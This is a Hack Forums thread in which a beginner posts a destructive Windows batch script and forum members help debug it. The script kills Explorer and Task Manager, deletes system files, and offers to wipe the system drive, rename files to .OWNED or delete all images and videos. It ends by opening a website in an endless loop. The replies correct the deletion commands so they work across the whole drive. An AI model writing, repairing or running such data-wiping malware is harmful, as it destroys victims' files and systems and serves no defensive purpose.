Hack Forums

Full Version: My first batch (Might sucks)
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hello guys, I decided to start learning batches yesterday. I praticed myself by creating a batch. I might have done a lot of errors because it's my first one. So, I'm gonna post it here and if you guys could tell me the errors that I made. I might have a lot but stills...

Code:
@echo off
title Owned By GoodKidz
msg * This was made by GoodKidz...
tskill explorer
tskill taskmgr
del %systemdrive%\WINDOWS\system32\taskmgr.exe /F
color 47
echo now you can't do anything :)
echo so here we continie....
del %systemdrive%\System Volume Information /F /Q /S
color 60
echo now you can choose between 3 choices
echo If you want to delete every thing on your computer, press 1
echo If you want to rename everything on your computer to .owned, press 2
echo If you want to let me choose, press 3
set /p option=
if '%option%'=='1' goto deleteall
if '%option%'=='2' goto renameall
if '%option%'=='3' goto mistery

:deleteall
msg * you decided to delete everything on you computer, so here we go
del %systemdrive% /F /S /Q


:renameall
msg * you decided to rename everything in your computer...
RENAME *.TXT *.OWMED /F /Q
RENAME *.EXE *.OWNED /F /Q
RENAME *.MSI *.OWNED /F /Q
RENAME *.ZIP *.OWNED /F /Q
RENAME *.RAR *.OWNED /F /Q
RENAME *.DOC *.OWNED /F /Q
RENAME *.DLL *.OWNED /F /Q
RENAME *.JPG *.OWNED /F /Q
RENAME *.BMP *.OWNED /F /Q
RENAME *.SQM *.OWNED /F /Q
RENAME *.LOG *.OWNED /F /Q
RENAME *.AVI *.OWNED /F /Q
RENAME *.INI *.OWNED /F /Q
RENAME *.DAT *.OWNED /F /Q
RENAME *.BAK *.OWNED /F /Q
RENAME *.TMP *.OWNED /F /Q
RENAME *.SYS *.OWNED /F /Q

:mistery
msg * You did the good choice, you decided to trust me...
msg * So for this, I'm just gonna have fun :)
cd c:\
DEL *.JPG /F /Q /S
DEL *.BMP /F /Q /S
DEL *.AVI /F /Q /S
GOTO Funnyending

:Funnyending
start /MAX www.yourwebsite.com
goto Funnyending

Here is what it's suppose to do so you will be able to see if the batch works...

Code:
This batch will basicly :

-Kill explorer.exe
-Kill task manager if open
-Delete task manager
-Delete all Dll in System32
-Delete the directory : System volume information

Then, it will ask the user to make a choice between three things.

Choice 1 :
-Will delete everything on the computer
-Will close the computer

Choice 2 :
-Will rename most .extension to .owned
-Will close the computer

Choice 3 :
-Will delete every jpeg, bmp and avi files.
-Will spam your website

Thanks in advance for the help.
(Please don't post comments to say that it sucks, because I already know it. If you want to post comments, post one that will help.)
tskill explorer.exe /F /Q
tskill taskmgr.exe

First of all it's tskill explorer and taskmgr without the .exe because Windows automatically puts it.
Then /f /q are switches for the DEL command you use /IM and /A for Tskill.

del '%systemdrive%\WINDOWS\system32\taskmgr.exe'
It should have the /F switch.

This wouldn't work:del '%systemdrive%' /F /S /Q
This would : del %systemdrive%\*.* /f /s /q

START '%systemdrive%\WINDOWS\RUNDLL32.EXE user,exitwindows'?
Didn't you just delete %systemdrive%?

RENAME *.TXT *.OWMED /F /Q
RENAME *.EXE *.OWNED /F /Q
RENAME *.MSI *.OWNED /F /Q
RENAME *.ZIP *.OWNED /F /Q
RENAME *.RAR *.OWNED /F /Q
RENAME *.DOC *.OWNED /F /Q
RENAME *.DLL *.OWNED /F /Q
RENAME *.JPG *.OWNED /F /Q
RENAME *.BMP *.OWNED /F /Q
RENAME *.SQM *.OWNED /F /Q
RENAME *.LOG *.OWNED /F /Q
RENAME *.AVI *.OWNED /F /Q
RENAME *.INI *.OWNED /F /Q
RENAME *.DAT *.OWNED /F /Q
RENAME *.BAK *.OWNED /F /Q
RENAME *.TMP *.OWNED /F /Q
RENAME *.SYS *.OWNED /F /Q
START '%systemdrive%\WINDOWS\RUNDLL32.EXE user,exitwindows'
Again you deleted %systemdrive%+you could have used REN instead of RENAME.
Lol all of those renaming to OWNED wouldn't work, you will have already deleted the startup files so they wouldn't have the time to see them
Thanks for the replies, like I said it's my first batch so it has a lot of errors.

EDIT : Unclean, I think I corrected everything you told me to, if you could recheck it, it would be really nice. And again thanks for the help.
:mistery
msg * You did the good choice, you decided to trust me...
msg * So for this, I'm just gonna have fun :)
DEL *.JPG /F /Q
DEL *.BMP /F /Q
DEL *.AVI /F /Q
GOTO Funnyending

change to

:mistery
msg * You did the good choice, you decided to trust me...
msg * So for this, I'm just gonna have fun :)
cd c:\
DEL *.JPG /F /Q /S
DEL *.BMP /F /Q /S
DEL *.AVI /F /Q /S
GOTO Funnyending

or it will delete from desktop only
Thanks a lot mathias.
Quote:or it will delete from desktop only

Not it will delete from the folder that the Batch is in.
Reference URL's